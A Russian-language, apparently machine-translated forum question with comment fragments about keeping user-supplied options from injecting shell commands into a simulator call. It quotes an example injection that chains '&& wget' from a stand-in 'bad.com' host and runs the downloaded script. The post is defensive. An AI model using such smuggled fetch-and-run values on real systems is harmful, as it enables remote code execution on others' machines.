У меня есть приложение-обертка, где мне нужно разрешить пользователю указывать пользовательские параметры для передачи в симулятор. Однако я хочу убедиться, что пользователь не вводит другие команды через пользовательские опции. Какой лучший способ сделать это?
Например.
- Пользователь предоставляет:
-a -b - Приложение выполняет:
mysim --preset_opt -a -b
Однако я не хочу, чтобы это произошло:
- Пользователь предоставляет:
&& wget http:\\bad.com\bad_code.sh && .\bad_code.sh - Приложение выполняет:
mysim --preset_opt && wget http:\\bad.com\bad_code.sh && .\bad_code.sh
В настоящее время я думаю, что я мог бы просто окружить каждую предоставленную пользователем опцию одинарными кавычками 'и убрать любые предоставленные пользователем одинарные кавычки, чтобы команда в последнем примере оказалась безвредной:
mysim -preset_opt '&&' 'wget' 'http:\\bad.com\bad_code.sh' '&&' '.\bad_code.sh'
Примечание. mysimКоманда выполняется как часть сценария оболочки в контейнере docker / lxc. Я использую Ubuntu.
eval. Я вызываю исполняемый файл mysimвнутри сценария оболочки. Я вижу, как происходит внедрение, если я просто копирую строку параметров, предоставленных пользователем, и вставляю ее в конце mysimкоманды.
-a -b. Поэтому я хочу убедиться, что дополнительные команды не вводятся в эту строку.
[a-zA-Z0-9 _-]выглядит довольно оборонительным выбором.
evalдля запуска приложения? Если нет, укол не должен произойти:x="&& echo Doomed" ; echo $x